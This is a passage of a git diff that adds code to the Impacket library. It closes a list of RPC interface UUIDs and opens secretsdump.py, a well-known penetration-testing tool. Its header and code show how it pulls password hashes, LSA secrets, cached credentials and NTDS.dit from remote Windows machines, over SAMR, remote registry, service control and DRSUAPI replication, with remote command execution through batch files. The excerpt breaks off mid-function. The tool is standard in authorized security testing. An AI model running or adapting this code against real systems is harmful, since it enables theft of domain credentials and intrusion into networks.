+1be617c0-31a5-11cf-a7d8-00805f48a135 v3.0
+1c1c45ee-4395-11d2-b60b-00104b703efd v0.0
+1cbcad78-df0b-4934-b558-87839ea501c9 v0.0
+1d55b526-c137-46c5-ab79-638f2a68e869 v1.0
+1ff70682-0a51-30e8-076d-740be8cee98b v1.0
+201ef99a-7fa0-444c-9399-19ba84f12a1a v1.0
+20610036-fa22-11cf-9823-00a0c911e5df v1.0
+209bb240-b919-11d1-bbb6-0080c75e4ec1 v1.0
+21cd80a2-b305-4f37-9d4c-4534a8d9b568 v0.0
+2465e9e0-a873-11d0-930b-00a0c90ab17c v3.0
+25952c5d-7976-4aa1-a3cb-c35f7ae79d1b v1.0
+266f33b4-c7c1-4bd1-8f52-ddb8f2214ea9 v1.0
+28607ff1-15a0-8e03-d670-b89eec8eb047 v1.0
+2acb9d68-b434-4b3e-b966-e06b4b3a84cb v1.0
+2eb08e3e-639f-4fba-97b1-14f878961076 v1.0
+2f59a331-bf7d-48cb-9e5c-7c090d76e8b8 v1.0
+2f5f3220-c126-1076-b549-074d078619da v1.2
+2f5f6520-ca46-1067-b319-00dd010662da v1.0
+2f5f6521-ca47-1068-b319-00dd010662db v1.0
+2f5f6521-cb55-1059-b446-00df0bce31db v1.0
+2fb92682-6599-42dc-ae13-bd2ca89bd11c v1.0
+300f3532-38cc-11d0-a3f0-0020af6b0add v1.2
+326731e3-c1c0-4a69-ae20-7d9044a4ea5c v1.0
+333a2276-0000-0000-0d00-00809c000000 v3.0
+338cd001-2244-31f1-aaaa-900038001003 v1.0
+342cfd40-3c6c-11ce-a893-08002b2e9c6d v0.0
+3473dd4d-2e88-4006-9cba-22570909dd10 v5.0
+3473dd4d-2e88-4006-9cba-22570909dd10 v5.1
+359e47c9-682e-11d0-adec-00c04fc2a078 v1.0
+367abb81-9844-35f1-ad32-98f038001003 v2.0
+369ce4f0-0fdc-11d3-bde8-00c04f8eee78 v1.0
+378e52b0-c0a9-11cf-822d-00aa0051e40f v1.0
+386ffca4-22f5-4464-b660-be08692d7296 v1.0
+38a94e72-a9bc-11d2-8faf-00c04fa378ff v1.0
+3919286a-b10c-11d0-9ba8-00c04fd92ef5 v0.0
+3ba0ffc0-93fc-11d0-a4ec-00a0c9062910 v1.0
+3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5 v1.0
+3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6 v1.0
+3dde7c30-165d-11d1-ab8f-00805f14db40 v1.0
+3f31c91e-2545-4b7b-9311-9529e8bffef6 v1.0
+3f77b086-3a17-11d3-9166-00c04f688e28 v1.0
+3f99b900-4d87-101b-99b7-aa0004007f07 v1.0
+3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.0
+3faf4738-3a21-4307-b46c-fdda9bb8c0d5 v1.1
+41208ee0-e970-11d1-9b9e-00e02c064c39 v1.0
+412f241e-c12a-11ce-abff-0020af6e7a17 v0.2
+423ec01e-2e35-11d2-b604-00104b703efd v0.0
+45776b01-5956-4485-9f80-f428f7d60129 v2.0
+45f52c28-7f9f-101a-b52b-08002b2efabe v1.0
+469d6ec0-0d87-11ce-b13f-00aa003bac6c v16.0
+4825ea41-51e3-4c2a-8406-8f2d2698395f v1.0
+4a452661-8290-4b36-8fbe-7f4093a94978 v1.0
+4b112204-0e19-11d3-b42b-0000f81feb9f v1.0
+4b324fc8-1670-01d3-1278-5a47bf6ee188 v0.0
+4b324fc8-1670-01d3-1278-5a47bf6ee188 v3.0
+4d9f4ab8-7d1c-11cf-861e-0020af6e7c57 v0.0
+4da1c422-943d-11d1-acae-00c04fc2aa3f v1.0
+4f82f460-0e21-11cf-909e-00805f48a135 v4.0
+4fc742e0-4a10-11cf-8273-00aa004ae673 v3.0
+50abc2a4-574d-40b3-9d66-ee4fd5fba076 v5.0
+53e75790-d96b-11cd-ba18-08002b2dfead v2.0
+56c8504c-4408-40fd-93fc-afd30f10c90d v1.0
+57674cd0-5200-11ce-a897-08002b2e9c6d v0.0
+57674cd0-5200-11ce-a897-08002b2e9c6d v1.0
+5a7b91f8-ff00-11d0-a9b2-00c04fb6e6fc v1.0
+5b5b3580-b0e0-11d1-b92d-0060081e87f0 v1.0
+5b821720-f63b-11d0-aad2-00c04fc324db v1.0
+5c89f409-09cc-101a-89f3-02608c4d2361 v1.1
+5ca4a760-ebb1-11cf-8611-00a0245420ed v1.0
+5cbe92cb-f4be-45c9-9fc9-33e73e557b20 v1.0
+5f54ce7d-5b79-4175-8584-cb65313a0e98 v1.0
+6099fc12-3eff-11d0-abd0-00c04fd91a4e v3.0
+621dff68-3c39-4c6c-aae3-e68e2c6503ad v1.0
+629b9f66-556c-11d1-8dd2-00aa004abd5e v2.0
+629b9f66-556c-11d1-8dd2-00aa004abd5e v3.0
+63fbe424-2029-11d1-8db8-00aa004abd5e v1.0
+654976df-1498-4056-a15e-cb4e87584bd8 v1.0
+65a93890-fab9-43a3-b2a5-1e330ac28f11 v2.0
+68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v1.0
+68dcd486-669e-11d1-ab0c-00c04fc2dcd2 v2.0
+69510fa1-2f99-4eeb-a4ff-af259f0f9749 v1.0
+6bffd098-0206-0936-4859-199201201157 v1.0
+6bffd098-a112-3610-9833-012892020162 v0.0
+6bffd098-a112-3610-9833-46c3f874532d v1.0
+6bffd098-a112-3610-9833-46c3f87e345a v1.0
+6e17aaa0-1a47-11d1-98bd-0000f875292e v2.0
+708cca10-9569-11d1-b2a5-0060977d8118 v1.0
+70b51430-b6ca-11d0-b9b9-00a0c922e750 v0.0
+76d12b80-3467-11d3-91ff-0090272f9ea3 v1.0
+76f226c3-ec14-4325-8a99-6a46348418ae v1.0
+76f226c3-ec14-4325-8a99-6a46348418af v1.0
+77df7a80-f298-11d0-8358-00a024c480a8 v1.0
+7af5bbd0-6063-11d1-ae2a-0080c75e4ec1 v0.2
+7c44d7d4-31d5-424c-bd5e-2b3e1f323d22 v1.0
+7c857801-7381-11cf-884d-00aa004b2e24 v0.0
+7e048d38-ac08-4ff1-8e6b-f35dbab88d4a v1.0
+7ea70bcf-48af-4f6a-8968-6a440754d5fa v1.0
+7f9d11bf-7fb9-436b-a812-b2d50c5d4c03 v1.0
+811109bf-a4e1-11d1-ab54-00a0c91e9b45 v1.0
+8174bb16-571b-4c38-8386-1102b449044a v1.0
+82273fdc-e32a-18c3-3f78-827929dc23ea v0.0
+82980780-4b64-11cf-8809-00a004ff3128 v3.0
+82ad4280-036b-11cf-972c-00aa006887b0 v2.0
+83d72bf0-0d89-11ce-b13f-00aa003bac6c v6.0
+83da7c00-e84f-11d2-9807-00c04f8ec850 v2.0
+86d35949-83c9-4044-b424-db363231fd0c v1.0
+894de0c0-0d55-11d3-a322-00c04fa321a1 v1.0
+89742ace-a9ed-11cf-9c0c-08002be7ae86 v2.0
+8c7a6de0-788d-11d0-9edf-444553540000 v2.0
+8c7daf44-b6dc-11d1-9a4c-0020af6e7c57 v1.0
+8cfb5d70-31a4-11cf-a7d8-00805f48a135 v3.0
+8d09b37c-9f3a-4ebb-b0a2-4dee7d6ceae9 v1.0
+8d0ffe72-d252-11d0-bf8f-00c04fd9126b v1.0
+8d9f4e40-a03d-11ce-8f69-08003e30051b v0.0
+8d9f4e40-a03d-11ce-8f69-08003e30051b v1.0
+8f09f000-b7ed-11ce-bbd2-00001a181cad v0.0
+8fb6d884-2388-11d0-8c35-00c04fda2795 v4.1
+906b0ce0-c70b-1067-b317-00dd010662da v1.0
+91ae6020-9e3c-11cf-8d7c-00aa00c091be v0.0
+92bdb7e4-f28b-46a0-b551-45a52bdd5125 v0.0
+93149ca2-973b-11d1-8c39-00c04fb984f9 v0.0
+93f5ac6f-1a94-4bc5-8d1b-fd44fc255089 v1.0
+9556dc99-828c-11cf-a37e-00aa003240c7 v0.0
+95958c94-a424-4055-b62b-b7f4d5c47770 v1.0
+975201b0-59ca-11d0-a8d5-00a0c90d8051 v1.0
+98fe2c90-a542-11d0-a4ef-00a0c9062910 v1.0
+99e64010-b032-11d0-97a4-00c04fd6551d v3.0
+99fcfec4-5260-101b-bbcb-00aa0021347a v0.0
+9b3195fe-d603-43d1-a0d5-9072d7cde122 v1.0
+9b8699ae-0e44-47b1-8e7f-86a461d7ecdc v0.0
+9e8ee830-4459-11ce-979b-00aa005ffebe v2.0
+a002b3a0-c9b7-11d1-ae88-0080c75e4ec1 v1.0
+a00c021c-2be2-11d2-b678-0000f87a8f8e v1.0
+a0bc4698-b8d7-4330-a28f-7709e18b6108 v4.0
+a2d47257-12f7-4beb-8981-0ebfa935c407 v1.0
+a398e520-d59a-4bdd-aa7a-3c1e0303a511 v1.0
+a3b749b1-e3d0-4967-a521-124055d1c37d v1.0
+a4c2fd60-5210-11d1-8fc2-00a024cb6019 v1.0
+a4f1db00-ca47-1067-b31e-00dd010662da v1.0
+a4f1db00-ca47-1067-b31f-00dd010662da v0.0
+a4f1db00-ca47-1067-b31f-00dd010662da v0.81
+aa177641-fc9b-41bd-80ff-f964a701596f v1.0
+aa411582-9bdf-48fb-b42b-faa1eee33949 v1.0
+aae9ac90-ce13-11cf-919e-08002be23c64 v1.0
+ae33069b-a2a8-46ee-a235-ddfd339be281 v1.0
+afa8bd80-7d8a-11c9-bef4-08002b102989 v1.0
+b196b284-bab4-101a-b69c-00aa00341d07 v0.0
+b196b286-bab4-101a-b69c-00aa00341d07 v0.0
+b58aa02e-2884-4e97-8176-4ee06d794184 v1.0
+b7b31df9-d515-11d3-a11c-00105a1f515a v0.0
+b97db8b2-4c63-11cf-bff6-08002be23f2f v2.0
+b9e79e60-3d52-11ce-aaa1-00006901293f v0.2
+bfa951d1-2f0e-11d3-bfd1-00c04fa3490a v1.0
+c13d3372-cc20-4449-9b23-8cc8271b3885 v1.0
+c33b9f46-2088-4dbc-97e3-6125f127661c v1.0
+c681d488-d850-11d0-8c52-00c04fd90f7e v1.0
+c6f3ee72-ce7e-11d1-b71e-00c04fc3111a v1.0
+c8cb7687-e6d3-11d2-a958-00c04f682e16 v1.0
+c9378ff1-16f7-11d0-a0b2-00aa0061426a v1.0
+c9ac6db5-82b7-4e55-ae8a-e464ed7b4277 v1.0
+ce1334a5-41dd-40ea-881d-64326b23effe v0.2
+d049b186-814f-11d1-9a3c-00c04fc9b232 v1.1
+d2d79dfa-3400-11d0-b40b-00aa005ff586 v1.0
+d335b8f6-cb31-11d0-b0f9-006097ba4e54 v1.5
+d3fbb514-0e3b-11cb-8fad-08002b1d29c3 v1.0
+d4781cd6-e5d3-44df-ad94-930efe48a887 v0.0
+d6d70ef0-0e3b-11cb-acc3-08002b1d29c3 v1.0
+d6d70ef0-0e3b-11cb-acc3-08002b1d29c4 v1.0
+d7f9e1c0-2247-11d1-ba89-00c04fd91268 v5.0
+d95afe70-a6d5-4259-822e-2c84da1ddb0d v1.0
+dd490425-5325-4565-b774-7e27d6c09c24 v1.0
+e1af8308-5d1f-11c9-91a4-08002b14a0fa v3.0
+e248d0b8-bf15-11cf-8c5e-08002bb49649 v2.0
+e33c0cc4-0482-101a-bc0c-02608c6ba218 v1.0
+e3514235-4b06-11d1-ab04-00c04fc2dcd2 v4.0
+e60c73e6-88f9-11cf-9af1-0020af6e72f4 v2.0
+e67ab081-9844-3521-9d32-834f038001c0 v1.0
+e76ea56d-453f-11cf-bfec-08002be23f2f v2.0
+ea0a3165-4834-11d2-a6f8-00c04fa346cc v4.0
+eb658b8a-7a64-4ddc-9b8d-a92610db0206 v0.0
+ec02cae0-b9e0-11d2-be62-0020afeddf63 v1.0
+ecec0d70-a603-11d0-96b1-00a0c91ece30 v1.0
+ecec0d70-a603-11d0-96b1-00a0c91ece30 v2.0
+eff55e30-4ee2-11ce-a3c9-00aa00607271 v1.0
+f309ad18-d86a-11d0-a075-00c04fb68820 v0.0
+f50aac00-c7f3-428e-a022-a6b71bfb9d43 v1.0
+f5cc59b4-4264-101a-8c59-08002b2f8426 v1.1
+f5cc5a18-4264-101a-8c59-08002b2f8426 v56.0
+f5cc5a7c-4264-101a-8c59-08002b2f8426 v21.0
+f6beaff7-1e19-4fbb-9f8f-b89e2018337c v1.0
+f930c514-1215-11d3-99a5-00a0c9b61b04 v1.0
+fc13257d-5567-4dea-898d-c6f9c48415a0 v1.0
+fd7a0523-dc70-43dd-9b2e-9c5ed48225b1 v1.0
+fdb3a030-065f-11d1-bb9b-00a024ea5525 v1.0
+ffe561b8-bf15-11cf-8c5e-08002bb49649 v2.0
+""".splitlines() if line)
+
+uuid_database = set((uuidstr.upper(), ver) for (uuidstr, ver) in
+                    uuid_database)
+
+# add the ones from ndrutils
+k = list(KNOWN_UUIDS.keys())[0]
+
+def fix_ndr_uuid(ndruuid):
+    assert len(ndruuid) == 18
+    uuid = ndruuid[:16]
+    (maj, min) = struct.unpack('BB', ndruuid[16:])
+    return uuid + struct.pack('<HH', maj, min)
+
+uuid_database.update(uuid.bin_to_uuidtup(fix_ndr_uuid(bin)) for bin in
+                     list(KNOWN_UUIDS.keys()))
\ No newline at end of file
diff --git a/impacket/examples/secretsdump.py b/impacket/examples/secretsdump.py
new file mode 100644
index 0000000..a665266
--- /dev/null
+++ b/impacket/examples/secretsdump.py
@@ -0,0 +1,2982 @@
+# Impacket - Collection of Python classes for working with network protocols.
+#
+# SECUREAUTH LABS. Copyright (C) 2022 SecureAuth Corporation. All rights reserved.
+#
+# This software is provided under a slightly modified version
+# of the Apache Software License. See the accompanying LICENSE file
+# for more information.
+#
+# Description:
+#   Performs various techniques to dump hashes from the
+#   remote machine without executing any agent there.
+#   For SAM and LSA Secrets (including cached creds)
+#   we try to read as much as we can from the registry
+#   and then we save the hives in the target system
+#   (%SYSTEMROOT%\\Temp dir) and read the rest of the
+#   data from there.
+#   For NTDS.dit we either:
+#       a. Get the domain users list and get its hashes
+#          and Kerberos keys using [MS-DRDS] DRSGetNCChanges()
+#          call, replicating just the attributes we need.
+#       b. Extract NTDS.dit via vssadmin executed  with the
+#          smbexec approach.
+#          It's copied on the temp dir and parsed remotely.
+#
+#   The script initiates the services required for its working
+#   if they are not available (e.g. Remote Registry, even if it is
+#   disabled). After the work is done, things are restored to the
+#   original state.
+#
+# Author:
+#  Alberto Solino (@agsolino)
+#
+# References:
+#   Most of the work done by these guys. I just put all
+#   the pieces together, plus some extra magic.
+#   - https://github.com/gentilkiwi/kekeo/tree/master/dcsync
+#   - https://moyix.blogspot.com.ar/2008/02/syskey-and-sam.html
+#   - https://moyix.blogspot.com.ar/2008/02/decrypting-lsa-secrets.html
+#   - https://moyix.blogspot.com.ar/2008/02/cached-domain-credentials.html
+#   - https://web.archive.org/web/20130901115208/www.quarkslab.com/en-blog+read+13
+#   - https://code.google.com/p/creddump/
+#   - https://lab.mediaservice.net/code/cachedump.rb
+#   - https://insecurety.net/?p=768
+#   - https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm
+#   - https://www.exploit-db.com/docs/english/18244-active-domain-offline-hash-dump-&-forensic-analysis.pdf
+#   - https://www.passcape.com/index.php?section=blog&cmd=details&id=15
+#
+from __future__ import division
+from __future__ import print_function
+import codecs
+import json
+import hashlib
+import logging
+import ntpath
+import os
+import re
+import random
+import string
+import time
+from binascii import unhexlify, hexlify
+from collections import OrderedDict
+from datetime import datetime, timedelta
+from struct import unpack, pack
+from six import b, PY2
+
+from impacket import LOG
+from impacket import system_errors
+from impacket import winregistry, ntlm
+from impacket.dcerpc.v5 import transport, rrp, scmr, wkst, samr, epm, drsuapi
+from impacket.dcerpc.v5.dtypes import NULL
+from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY, DCERPCException, RPC_C_AUTHN_GSS_NEGOTIATE
+from impacket.dcerpc.v5.dcom import wmi
+from impacket.dcerpc.v5.dcom.oaut import IID_IDispatch, IDispatch, DISPPARAMS, DISPATCH_PROPERTYGET, \
+    VARIANT, VARENUM, DISPATCH_METHOD
+from impacket.dcerpc.v5.dcomrt import DCOMConnection, OBJREF, FLAGS_OBJREF_CUSTOM, OBJREF_CUSTOM, OBJREF_HANDLER, \
+    OBJREF_EXTENDED, OBJREF_STANDARD, FLAGS_OBJREF_HANDLER, FLAGS_OBJREF_STANDARD, FLAGS_OBJREF_EXTENDED, \
+    IRemUnknown2, INTERFACE
+from impacket.ese import ESENT_DB
+from impacket.dpapi import DPAPI_SYSTEM
+from impacket.smb3structs import FILE_READ_DATA, FILE_SHARE_READ
+from impacket.nt_errors import STATUS_MORE_ENTRIES
+from impacket.structure import Structure
+from impacket.structure import hexdump
+from impacket.uuid import string_to_bin
+from impacket.crypto import transformKey
+from impacket.krb5 import constants
+from impacket.krb5.asn1 import Ticket as TicketAsn1, EncTicketPart, AP_REQ, seq_set, Authenticator, TGS_REQ, \
+    seq_set_iter, TGS_REP, EncTGSRepPart, KERB_KEY_LIST_REP
+from impacket.krb5.constants import ProtocolVersionNumber, TicketFlags, PrincipalNameType, encodeFlags, EncryptionTypes
+from impacket.krb5.crypto import string_to_key, Key, _enctype_table
+from impacket.krb5.kerberosv5 import sendReceive
+from impacket.krb5.types import KerberosTime, Principal, Ticket
+try:
+    from Cryptodome.Cipher import DES, ARC4, AES
+    from Cryptodome.Hash import HMAC, MD4, MD5
+except ImportError:
+    LOG.critical("Warning: You don't have any crypto installed. You need pycryptodomex")
+    LOG.critical("See https://pypi.org/project/pycryptodomex/")
+try:
+    import pyasn1
+    from pyasn1.type.univ import noValue, SequenceOf, Integer
+    from pyasn1.codec.der import encoder, decoder
+except ImportError:
+    LOG.critical('This module needs pyasn1 installed')
+
+try:
+    rand = random.SystemRandom()
+except NotImplementedError:
+    rand = random
+    pass
+
+# Structures
+# Taken from https://insecurety.net/?p=768
+class SAM_KEY_DATA(Structure):
+    structure = (
+        ('Revision','<L=0'),
+        ('Length','<L=0'),
+        ('Salt','16s=b""'),
+        ('Key','16s=b""'),
+        ('CheckSum','16s=b""'),
+        ('Reserved','<Q=0'),
+    )
+
+# Structure taken from mimikatz (@gentilkiwi) in the context of https://github.com/SecureAuthCorp/impacket/issues/326
+# Merci! Makes it way easier than parsing manually.
+class SAM_HASH(Structure):
+    structure = (
+        ('PekID','<H=0'),
+        ('Revision','<H=0'),
+        ('Hash','16s=b""'),
+    )
+
+class SAM_KEY_DATA_AES(Structure):
+    structure = (
+        ('Revision','<L=0'),
+        ('Length','<L=0'),
+        ('CheckSumLen','<L=0'),
+        ('DataLen','<L=0'),
+        ('Salt','16s=b""'),
+        ('Data',':'),
+    )
+
+class SAM_HASH_AES(Structure):
+    structure = (
+        ('PekID','<H=0'),
+        ('Revision','<H=0'),
+        ('DataOffset','<L=0'),
+        ('Salt','16s=b""'),
+        ('Hash',':'),
+    )
+
+class DOMAIN_ACCOUNT_F(Structure):
+    structure = (
+        ('Revision','<L=0'),
+        ('Unknown','<L=0'),
+        ('CreationTime','<Q=0'),
+        ('DomainModifiedCount','<Q=0'),
+        ('MaxPasswordAge','<Q=0'),
+        ('MinPasswordAge','<Q=0'),
+        ('ForceLogoff','<Q=0'),
+        ('LockoutDuration','<Q=0'),
+        ('LockoutObservationWindow','<Q=0'),
+        ('ModifiedCountAtLastPromotion','<Q=0'),
+        ('NextRid','<L=0'),
+        ('PasswordProperties','<L=0'),
+        ('MinPasswordLength','<H=0'),
+        ('PasswordHistoryLength','<H=0'),
+        ('LockoutThreshold','<H=0'),
+        ('Unknown2','<H=0'),
+        ('ServerState','<L=0'),
+        ('ServerRole','<H=0'),
+        ('UasCompatibilityRequired','<H=0'),
+        ('Unknown3','<Q=0'),
+        ('Key0',':'),
+# Commenting this, not needed and not present on Windows 2000 SP0
+#        ('Key1',':', SAM_KEY_DATA),
+#        ('Unknown4','<L=0'),
+    )
+
+# Great help from here https://web.archive.org/web/20190717124313/http://www.beginningtoseethelight.org/ntsecurity/index.htm
+class USER_ACCOUNT_V(Structure):
+    structure = (
+        ('Unknown','12s=b""'),
+        ('NameOffset','<L=0'),
+        ('NameLength','<L=0'),
+        ('Unknown2','<L=0'),
+        ('FullNameOffset','<L=0'),
+        ('FullNameLength','<L=0'),
+        ('Unknown3','<L=0'),
+        ('CommentOffset','<L=0'),
+        ('CommentLength','<L=0'),
+        ('Unknown3','<L=0'),
+        ('UserCommentOffset','<L=0'),
+        ('UserCommentLength','<L=0'),
+        ('Unknown4','<L=0'),
+        ('Unknown5','12s=b""'),
+        ('HomeDirOffset','<L=0'),
+        ('HomeDirLength','<L=0'),
+        ('Unknown6','<L=0'),
+        ('HomeDirConnectOffset','<L=0'),
+        ('HomeDirConnectLength','<L=0'),
+        ('Unknown7','<L=0'),
+        ('ScriptPathOffset','<L=0'),
+        ('ScriptPathLength','<L=0'),
+        ('Unknown8','<L=0'),
+        ('ProfilePathOffset','<L=0'),
+        ('ProfilePathLength','<L=0'),
+        ('Unknown9','<L=0'),
+        ('WorkstationsOffset','<L=0'),
+        ('WorkstationsLength','<L=0'),
+        ('Unknown10','<L=0'),
+        ('HoursAllowedOffset','<L=0'),
+        ('HoursAllowedLength','<L=0'),
+        ('Unknown11','<L=0'),
+        ('Unknown12','12s=b""'),
+        ('LMHashOffset','<L=0'),
+        ('LMHashLength','<L=0'),
+        ('Unknown13','<L=0'),
+        ('NTHashOffset','<L=0'),
+        ('NTHashLength','<L=0'),
+        ('Unknown14','<L=0'),
+        ('Unknown15','24s=b""'),
+        ('Data',':=b""'),
+    )
+
+class NL_RECORD(Structure):
+    structure = (
+        ('UserLength','<H=0'),
+        ('DomainNameLength','<H=0'),
+        ('EffectiveNameLength','<H=0'),
+        ('FullNameLength','<H=0'),
+# Taken from https://github.com/gentilkiwi/mimikatz/blob/master/mimikatz/modules/kuhl_m_lsadump.h#L265
+        ('LogonScriptName','<H=0'),
+        ('ProfilePathLength','<H=0'),
+        ('HomeDirectoryLength','<H=0'),
+        ('HomeDirectoryDriveLength','<H=0'),
+        ('UserId','<L=0'),
+        ('PrimaryGroupId','<L=0'),
+        ('GroupCount','<L=0'),
+        ('logonDomainNameLength','<H=0'),
+        ('unk0','<H=0'),
+        ('LastWrite','<Q=0'),
+        ('Revision','<L=0'),
+        ('SidCount','<L=0'),
+        ('Flags','<L=0'),
+        ('unk1','<L=0'),
+        ('LogonPackageLength','<L=0'),
+        ('DnsDomainNameLength','<H=0'),
+        ('UPN','<H=0'),
+       # ('MetaData','52s=""'),
+       # ('FullDomainLength','<H=0'),
+       # ('Length2','<H=0'),
+        ('IV','16s=b""'),
+        ('CH','16s=b""'),
+        ('EncryptedData',':'),
+    )
+
+
+class SAMR_RPC_SID_IDENTIFIER_AUTHORITY(Structure):
+    structure = (
+        ('Value','6s'),
+    )
+
+class SAMR_RPC_SID(Structure):
+    structure = (
+        ('Revision','<B'),
+        ('SubAuthorityCount','<B'),
+        ('IdentifierAuthority',':',SAMR_RPC_SID_IDENTIFIER_AUTHORITY),
+        ('SubLen','_-SubAuthority','self["SubAuthorityCount"]*4'),
+        ('SubAuthority',':'),
+    )
+
+    def formatCanonical(self):
+       ans = 'S-%d-%d' % (self['Revision'], ord(self['IdentifierAuthority']['Value'][5:6]))
+       for i in range(self['SubAuthorityCount']):
+           ans += '-%d' % ( unpack('>L',self['SubAuthority'][i*4:i*4+4])[0])
+       return ans
+
+class LSA_SECRET_BLOB(Structure):
+    structure = (
+        ('Length','<L=0'),
+        ('Unknown','12s=b""'),
+        ('_Secret','_-Secret','self["Length"]'),
+        ('Secret',':'),
+        ('Remaining',':'),
+    )
+
+class LSA_SECRET(Structure):
+    structure = (
+        ('Version','<L=0'),
+        ('EncKeyID','16s=b""'),
+        ('EncAlgorithm','<L=0'),
+        ('Flags','<L=0'),
+        ('EncryptedData',':'),
+    )
+
+class LSA_SECRET_XP(Structure):
+    structure = (
+        ('Length','<L=0'),
+        ('Version','<L=0'),
+        ('_Secret','_-Secret', 'self["Length"]'),
+        ('Secret', ':'),
+    )
+
+
+# Helper to create files for exporting
+def openFile(fileName, mode='w+', openFileFunc=None):
+    if openFileFunc is not None:
+        return openFileFunc(fileName, mode)
+    else:
+        return codecs.open(fileName, mode, encoding='utf-8')
+
+
+# Classes
+class RemoteFile:
+    def __init__(self, smbConnection, fileName):
+        self.__smbConnection = smbConnection
+        self.__fileName = fileName
+        self.__tid = self.__smbConnection.connectTree('ADMIN$')
+        self.__fid = None
+        self.__currentOffset = 0
+
+    def open(self):
+        tries = 0
+        while True:
+            try:
+                self.__fid = self.__smbConnection.openFile(self.__tid, self.__fileName, desiredAccess=FILE_READ_DATA,
+                                                   shareMode=FILE_SHARE_READ)
+            except Exception as e:
+                if str(e).find('STATUS_SHARING_VIOLATION') >=0:
+                    if tries >= 3:
+                        raise e
+                    # Stuff didn't finish yet.. wait more
+                    time.sleep(5)
+                    tries += 1
+                    pass
+                else:
+                    raise e
+            else:
+                break
+
+    def seek(self, offset, whence):
+        # Implement whence, for now it's always from the beginning of the file
+        if whence == 0:
+            self.__currentOffset = offset
+
+    def read(self, bytesToRead):
+        if bytesToRead > 0:
+            data =  self.__smbConnection.readFile(self.__tid, self.__fid, self.__currentOffset, bytesToRead)
+            self.__currentOffset += len(data)
+            return data
+        return b''
+
+    def close(self):
+        if self.__fid is not None:
+            self.__smbConnection.closeFile(self.__tid, self.__fid)
+            self.__smbConnection.deleteFile('ADMIN$', self.__fileName)
+            self.__fid = None
+
+    def tell(self):
+        return self.__currentOffset
+
+    def __str__(self):
+        return "\\\\%s\\ADMIN$\\%s" % (self.__smbConnection.getRemoteHost(), self.__fileName)
+
+class RemoteOperations:
+    def __init__(self, smbConnection, doKerberos, kdcHost=None):
+        self.__smbConnection = smbConnection
+        if self.__smbConnection is not None:
+            self.__smbConnection.setTimeout(5*60)
+        self.__serviceName = 'RemoteRegistry'
+        self.__stringBindingWinReg = r'ncacn_np:445[\pipe\winreg]'
+        self.__rrp = None
+        self.__regHandle = None
+
+        self.__stringBindingSamr = r'ncacn_np:445[\pipe\samr]'
+        self.__samr = None
+        self.__domainHandle = None
+        self.__domainName = None
+        self.__domainSid = None
+
+        self.__drsr = None
+        self.__hDrs = None
+        self.__NtdsDsaObjectGuid = None
+        self.__ppartialAttrSet = None
+        self.__prefixTable = []
+        self.__doKerberos = doKerberos
+        self.__kdcHost = kdcHost
+
+        self.__bootKey = b''
+        self.__disabled = False
+        self.__shouldStop = False
+        self.__started = False
+
+        self.__stringBindingSvcCtl = r'ncacn_np:445[\pipe\svcctl]'
+        self.__scmr = None
+        self.__tmpServiceName = None
+        self.__serviceDeleted = False
+
+        self.__batchFile = '%TEMP%\\execute.bat'
+        self.__shell = '%COMSPEC% /Q /c '
+        self.__output = '%SYSTEMROOT%\\Temp\\__output'
+        self.__answerTMP = b''
+
+        self.__execMethod = 'smbexec'
+
+    def setExecMethod(self, method):
+        self.__execMethod = method
+
+    def __connectSvcCtl(self):
+        rpc = transport.DCERPCTransportFactory(self.__stringBindingSvcCtl)
+        rpc.set_smb_connection(self.__smbConnection)
+        self.__scmr = rpc.get_dce_rpc()
+        self.__scmr.connect()
+        self.__scmr.bind(scmr.MSRPC_UUID_SCMR)
+
+    def __connectWinReg(self):
+        rpc = transport.DCERPCTransportFactory(self.__stringBindingWinReg)
+        rpc.set_smb_connection(self.__smbConnection)
+        self.__rrp = rpc.get_dce_rpc()
+        self.__rrp.connect()
+        self.__rrp.bind(rrp.MSRPC_UUID_RRP)
+
+    def getRRP(self):
+        return self.__rrp
+
+    def connectSamr(self, domain):
+        rpc = transport.DCERPCTransportFactory(self.__stringBindingSamr)
+        rpc.set_smb_connection(self.__smbConnection)
+        self.__samr = rpc.get_dce_rpc()
+        self.__samr.connect()
+        self.__samr.bind(samr.MSRPC_UUID_SAMR)
+        resp = samr.hSamrConnect(self.__samr)
+        serverHandle = resp['ServerHandle']
+
+        resp = samr.hSamrLookupDomainInSamServer(self.__samr, serverHandle, domain)
+        self.__domainSid = resp['DomainId'].formatCanonical()
+
+        resp = samr.hSamrOpenDomain(self.__samr, serverHandle=serverHandle, domainId=resp['DomainId'])
+        self.__domainHandle = resp['DomainHandle']
+        self.__domainName = domain
+
+    def __connectDrds(self):
+        stringBinding = epm.hept_map(self.__smbConnection.getRemoteHost(), drsuapi.MSRPC_UUID_DRSUAPI,
+                                     protocol='ncacn_ip_tcp')
+        rpc = transport.DCERPCTransportFactory(stringBinding)
+        rpc.setRemoteHost(self.__smbConnection.getRemoteHost())
+        rpc.setRemoteName(self.__smbConnection.getRemoteName())
+        if hasattr(rpc, 'set_credentials'):
+            # This method exists only for selected protocol sequences.
+            rpc.set_credentials(*(self.__smbConnection.getCredentials()))
+            rpc.set_kerberos(self.__doKerberos, self.__kdcHost)
+        self.__drsr = rpc.get_dce_rpc()
+        self.__drsr.set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY)
+        if self.__doKerberos:
+            self.__drsr.set_auth_type(RPC_C_AUTHN_GSS_NEGOTIATE)
+        self.__drsr.connect()
+        # Uncomment these lines if you want to play some tricks
+        # This will make the dump way slower tho.
+        #self.__drsr.bind(samr.MSRPC_UUID_SAMR)
+        #self.__drsr = self.__drsr.alter_ctx(drsuapi.MSRPC_UUID_DRSUAPI)
+        #self.__drsr.set_max_fragment_size(1)
+        # And Comment this line
+        self.__drsr.bind(drsuapi.MSRPC_UUID_DRSUAPI)
+
+        if self.__domainName is None:
+            # Get domain name from credentials cached
+            self.__domainName = rpc.get_credentials()[2]
+
+        request = drsuapi.DRSBind()
+        request['puuidClientDsa'] = drsuapi.NTDSAPI_CLIENT_GUID
+        drs = drsuapi.DRS_EXTENSIONS_INT()
+        drs['cb'] = len(drs) #- 4
